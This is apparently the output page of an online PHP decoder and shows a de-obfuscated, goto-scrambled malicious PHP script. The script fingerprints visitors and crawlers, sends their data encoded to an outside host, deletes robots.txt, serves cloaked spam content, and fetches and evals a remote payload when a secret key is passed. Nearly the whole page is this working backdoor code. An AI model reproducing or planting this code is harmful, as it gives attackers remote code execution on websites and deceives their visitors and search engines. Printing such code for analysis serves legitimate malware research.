Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto EWAD1;
 EWAD1: @set_time_limit(1000);
 goto LrQIf;
 YL4Se: $Rtr9R = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '';
 goto BtFEI;
 FMsC0: $Ceqxa = Yr5Ct($nbEJQ);
 goto gH7Im;
 XlkRa: $Cu1Jj = str_replace("html_content", '', $yUfPm);
 goto WkRqR;
 LrQIf: @error_reporting(0);
 goto erIcD;
 Y2Jls: E8rd2: goto nYc3q;
 pfWyg: IRnNe: goto ZISlh;
	 MAKmi: function tW2yf() {
	 goto bHmJ9;
	 nfrVe: uUebP: goto gyUyr;
	 TUZ3n: XlkyF: goto Hpaxq;
	 HqYKA: $TJA1B = $_SERVER["REMOTE_ADDR"];
	 goto HpocZ;
	 bHmJ9: $TJA1B = '';
	 goto BePg4;
	 HpocZ: goto XlkyF;
	 goto GdHTP;
	 Co29I: return $TJA1B;
	 goto MMApq;
		 BePg4: if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
		 goto uUebP;
		 
	}
	 goto GFmq_;
	 VGJuP: $TJA1B = $_SERVER["HTTP_X_FORWARDED_FOR"];
	 goto TUZ3n;
		 GFmq_: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
		 goto EkHkO;
		 
	}
	 goto HqYKA;
	 Hpaxq: goto vN3q7;
	 goto nfrVe;
	 B16tI: vN3q7: goto Co29I;
	 GdHTP: EkHkO: goto VGJuP;
	 gyUyr: $TJA1B = $_SERVER["HTTP_CLIENT_IP"];
	 goto B16tI;
	 MMApq: 
}
 goto VkCO_;
	 x0JRY: if (!strstr($yUfPm, "xml_content")) {
	 goto E8rd2;
	 
}
 goto lSAvl;
 D3Gi8: $ljMBg = rAPMv($Caej_);
 goto gBiXQ;
	 M6QxV: if (!strstr($yUfPm, "html_content")) {
	 goto EmCfw;
	 
}
 goto GnEoB;
	 VkCO_: function YR5Ct($lC0UX) {
	 goto BO99n;
	 BO99n: $QsoO_ = '';
	 goto PZElf;
	 Fpu2u: $XPstW["status"] = $Hh2Ly;
	 goto dTv2G;
		 Rfi43: try {
		 $t9F6R = zSAnH();
		 $QsoO_ = @$t9F6R[0]($lC0UX);
		 
	}
		 catch (Exception $uWDcm) {
		 
	}
	 goto megCG;
		 Sg1ET: if (!($QsoO_ != '')) {
		 goto hkFVh;
		 
	}
	 goto XRP5A;
	 dTv2G: $XPstW["content"] = $QsoO_;
	 goto y6y2q;
	 y6y2q: return $XPstW;
	 goto DzUb1;
		 p0jXH: try {
		 goto FD1d8;
		 t4war: curl_setopt($Ku4PX, CURLOPT_SSL_VERIFYHOST, FALSE);
		 goto B_JQk;
		 GHyp5: curl_setopt($Ku4PX, CURLOPT_RETURNTRANSFER, 1);
		 goto BXTrE;
		 io4SX: curl_setopt($Ku4PX, CURLOPT_SSL_VERIFYPEER, FALSE);
		 goto t4war;
		 laJbd: curl_setopt($Ku4PX, CURLOPT_URL, $lC0UX);
		 goto t3PFt;
		 Ofw31: curl_close($Ku4PX);
		 goto vgwpW;
		 B_JQk: curl_setopt($Ku4PX, CURLOPT_CONNECTTIMEOUT, 10);
		 goto GHyp5;
		 FD1d8: $Ku4PX = curl_init();
		 goto laJbd;
		 BXTrE: $QsoO_ = curl_exec($Ku4PX);
		 goto Ofw31;
		 t3PFt: curl_setopt($Ku4PX, CURLOPT_FOLLOWLOCATION, 1);
		 goto io4SX;
		 vgwpW: 
	}
		 catch (Exception $uWDcm) {
		 
	}
	 goto kCMe8;
	 cr53o: $XPstW = array();
	 goto Fpu2u;
	 megCG: FnlAt: goto Sg1ET;
	 WmRD1: hkFVh: goto cr53o;
	 PZElf: $Hh2Ly = 1;
	 goto p0jXH;
		 kCMe8: if (!(($QsoO_ === false || $QsoO_ == '') && ini_get("allow_url_fopen"))) {
		 goto FnlAt;
		 
	}
	 goto Rfi43;
	 XRP5A: $Hh2Ly = 1;
	 goto WmRD1;
	 DzUb1: 
}
 goto fb941;
 roD0q: $GFHZm = $_SERVER["DOCUMENT_ROOT"];
 goto z9sk8;
 oT3Bs: $Cu1Jj = str_replace("xml_content", '', $yUfPm);
 goto Z7rjP;
	 WeHNd: if (!($DE03f == implode($VGuOE))) {
	 goto Xdmql;
	 
}
 goto AXCpT;
 NldqJ: $Ceqxa = array();
 goto IgZ4j;
 dnsOk: @header("Content-type: text/plain;
 charset=utf-8");
 goto tA6A9;
 JNJNj: $UBhFN = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
 goto v0WMA;
 pYsit: $b5q3x = "http_type=" . base64_encode($gdvGD) . "&http_uri=" . base64_encode($ojVdr) . "&http_lang=" . base64_encode($Rtr9R) . "&http_host=" . base64_encode($twFZu) . "&http_refer=" . base64_encode($Caej_) . "&http_user_agent=" . base64_encode($UBhFN) . "&http_ip_address=" . base64_encode($x2xoE);
 goto NldqJ;
 WkRqR: echo $Cu1Jj;
 goto a1jlt;
	 mbkZt: function DWUm3($NDcnb) {
	 goto WxufO;
	 chC0n: OJi6l: goto BXMP2;
	 WxufO: $buGTc = false;
	 goto TgFT8;
		 nb9mM: if (!preg_match("/({
		$Dvg_h
	}
		)/si", $NDcnb)) {
		 goto f_vrR;
		 
	}
	 goto JyZ2m;
		 TRbzZ: if (!$NDcnb) {
		 goto OJi6l;
		 
	}
	 goto nb9mM;
	 JyZ2m: $buGTc = true;
	 goto Y4mYK;
	 TgFT8: $Dvg_h = "googlebot|google|yahoo|bing|aol";
	 goto TRbzZ;
	 Y4mYK: f_vrR: goto chC0n;
	 BXMP2: return $buGTc;
	 goto k6wNn;
	 k6wNn: 
}
 goto Qpquw;
 SftFW: NV26g: goto xzhgM;
 ul51y: $Dr5gY = explode("[***]", str_replace("robotscontent", '', $Cu1Jj));
 goto xgt_l;
 DfnXe: $y8Cpm = substr($v3jZT, -6);
 goto Vs8mK;
	 qtPIQ: if (!$XPstW["status"]) {
	 goto IgzOA;
	 
}
 goto NLb93;
 emGrc: goto NV26g;
 goto sk9zU;
 toXH2: $DE03f = md5($fdyRZ);
 goto WeHNd;
 NLb93: eval("" . $XPstW["content"]);
 goto x0GX0;
 gH7Im: klt_I: goto FVho7;
 tA6A9: $Cu1Jj = str_replace("robots_content", '', $yUfPm);
 goto ul51y;
 aOxIR: $gdvGD = Z0Lpp();
 goto wgES_;
 x0GX0: IgzOA: goto Ybndm;
 GkpN7: $Ceqxa = yR5Ct($nbEJQ);
 goto GpaSH;
	 rNR1g: if (!empty($v3jZT)) {
	 goto i1XVw;
	 
}
 goto roD0q;
 Ouao5: $VGuOE = array("9", "8", "2", "4", "5", "d", "7", "4", "1", "7", "2", "2", "5", "b", "5", "5", "a", "2", "c", "4", "b", "f", "5", "0", "b", "8", "a", "a", "4", "c", "7", "3");
 goto toXH2;
 Z7rjP: echo $Cu1Jj;
 goto bUhjn;
	 nYc3q: if (!strstr($yUfPm, "robots_content")) {
	 goto IRnNe;
	 
}
 goto dnsOk;
 IgZ4j: $nbEJQ = "https://" . $zcRYp . "/wp-index.php?" . $b5q3x;
 goto mIJJv;
 M_QT2: $buGTc = DWUm3($UBhFN);
 goto D3Gi8;
 GnEoB: @header("Content-type: text/html;
 charset=utf-8");
 goto XlkRa;
 m1n06: exit;
 goto SftFW;
 GpaSH: cQ6h6: goto M_QT2;
 izY2h: tzSY3: goto GkpN7;
 bUhjn: exit;
 goto Y2Jls;
	 Qpquw: function cG0Ej($NDcnb) {
	 goto iMwmT;
	 iMwmT: $buGTc = false;
	 goto pWogp;
	 pWogp: $Dvg_h = "360Spider|AhrefsBot|Amazonbot|Apple Bot|Ask Jeeves|AwarioBot|BaiduSpider|Baiduspider-image|Bytespider|DataForSeoBot|dataprovider|DotBot|DuckDuckBot|Exalead|Excite|facebook|facebookexternalhit|GPTBot|Lycos|MJ12bot|Scooter|SemrushBot|SiteLockSpider|Sleuth|Sogou News Spider|Sogou web spider|SOSO Spider|Twitterbot|Yandex Bot|YandexBot|YisouSpider|YodaoBot|YoudaoBot|BLEXBot|applebot|CCBot|PetalBot|ClaudeBot|HudHud-general-bot|SeznamBot|EzoicBot-Nicheiq|AhrefsSiteAudit|OAI-SearchBot|linkdexbot|ChatGPT-User|YandexMetrika|Yandex";
	 goto h33tD;
	 GYgn_: Sw3fo: goto bQv9h;
	 CZT8L: $buGTc = true;
	 goto t0IM3;
		 CkKyR: if (!preg_match("/({
		$Dvg_h
	}
		)/si", $NDcnb)) {
		 goto xnGH9;
		 
	}
	 goto CZT8L;
	 t0IM3: xnGH9: goto GYgn_;
		 h33tD: if (!$NDcnb) {
		 goto Sw3fo;
		 
	}
	 goto CkKyR;
	 bQv9h: return $buGTc;
	 goto KvtJx;
	 KvtJx: 
}
 goto TLUmR;
 v0WMA: $x2xoE = tw2Yf();
 goto pYsit;
 gBiXQ: $vOxtN = cg0ej($UBhFN);
 goto ns1Zk;
	 xzhgM: function z0lPP() {
	 goto BleQ0;
	 U5fOr: QUE0j: goto r_Ot1;
	 Brpdg: return "http";
	 goto NS011;
	 NS011: goto Ypsq5;
	 goto U5fOr;
	 BleQ0: $Xau4K = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443;
	 goto WbkP9;
	 r_Ot1: return "https";
	 goto ahPbM;
		 WbkP9: if ($Xau4K) {
		 goto QUE0j;
		 
	}
	 goto Brpdg;
	 ahPbM: Ypsq5: goto vj4tO;
	 vj4tO: 
}
 goto MAKmi;
 AXCpT: $I2L1X = array("https://kiokfhd.hhhlrj.top/door/");
 goto zXTSH;
	 O5VW6: if (!file_exists($GFHZm . "/robots.txt")) {
	 goto tzSY3;
	 
}
 goto FJRGo;
 lSAvl: @header("Content-type: text/xml");
 goto oT3Bs;
 SrL88: $v3jZT = isset($_REQUEST["action"]) ? $_REQUEST["action"] : '';
 goto rNR1g;
 zXTSH: $XPstW = YR5CT(implode($I2L1X) . $y8Cpm . ".txt");
 goto qtPIQ;
 F6Os6: $yUfPm = $Ceqxa["content"];
 goto xrHlX;
 wgES_: $ojVdr = $_SERVER["REQUEST_URI"];
 goto YL4Se;
 ZISlh: W7qel: goto umvvt;
	 mIJJv: if (!(stristr($ojVdr, ".xml") || stristr($ojVdr, "robots.txt"))) {
	 goto cQ6h6;
	 
}
 goto O5VW6;
 erIcD: ini_set("display_errors", "Off");
 goto SrL88;
 tkJJj: $Caej_ = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
 goto JNJNj;
	 FVho7: if (!$Ceqxa["status"]) {
	 goto Dx0Wr;
	 
}
 goto F6Os6;
	 xrHlX: if (strstr($yUfPm, "do_nothing")) {
	 goto W7qel;
	 
}
 goto M6QxV;
 sk9zU: i1XVw: goto DfnXe;
 umvvt: Dx0Wr: goto emGrc;
 BtFEI: $twFZu = $_SERVER["HTTP_HOST"];
 goto tkJJj;
 xgt_l: exit(implode(PHP_EOL, $Dr5gY));
 goto pfWyg;
 OjW2_: EmCfw: goto x0JRY;
 z9sk8: $zcRYp = "1u6tzaje.kinoman.top";
 goto aOxIR;
 Ybndm: Xdmql: goto m1n06;
 a1jlt: exit;
 goto OjW2_;
	 fb941: function ZSaNh() {
	 $uKvII = range("a", "z");
	 return [$uKvII[5] . $uKvII[8] . $uKvII[11] . $uKvII[4] . "_" . $uKvII[6] . $uKvII[4] . $uKvII[19] . "_" . $uKvII[2] . $uKvII[14] . $uKvII[13] . $uKvII[19] . $uKvII[4] . $uKvII[13] . $uKvII[19] . $uKvII[18]];
	 
}
 goto mbkZt;
 Vs8mK: $fdyRZ = substr($v3jZT, 0, -6);
 goto Ouao5;
	 ns1Zk: if (!($buGTc || $ljMBg || !$vOxtN)) {
	 goto klt_I;
	 
}
 goto FMsC0;
 FJRGo: unlink($GFHZm . "/robots.txt");
 goto izY2h;
	 TLUmR: function Rapmv($L6JdV) {
	 goto z7NWx;
		 iFjdN: if (!preg_match("/({
		$u5NNW
	}
		)/si", $L6JdV)) {
		 goto z12Cx;
		 
	}
	 goto u01UN;
	 bc1od: x32rB: goto zqhHe;
	 z7NWx: $ljMBg = false;
	 goto ESBE4;
	 ESBE4: $u5NNW = "google|yahoo|bing|aol";
	 goto u4bzB;
		 u4bzB: if (!$L6JdV) {
		 goto x32rB;
		 
	}
	 goto iFjdN;
	 zqhHe: return $ljMBg;
	 goto TM08i;
	 Zamz0: z12Cx: goto bc1od;
	 u01UN: $ljMBg = true;
	 goto Zamz0;
	 TM08i: 
}



© 2023 Quttera Ltd. All rights reserved.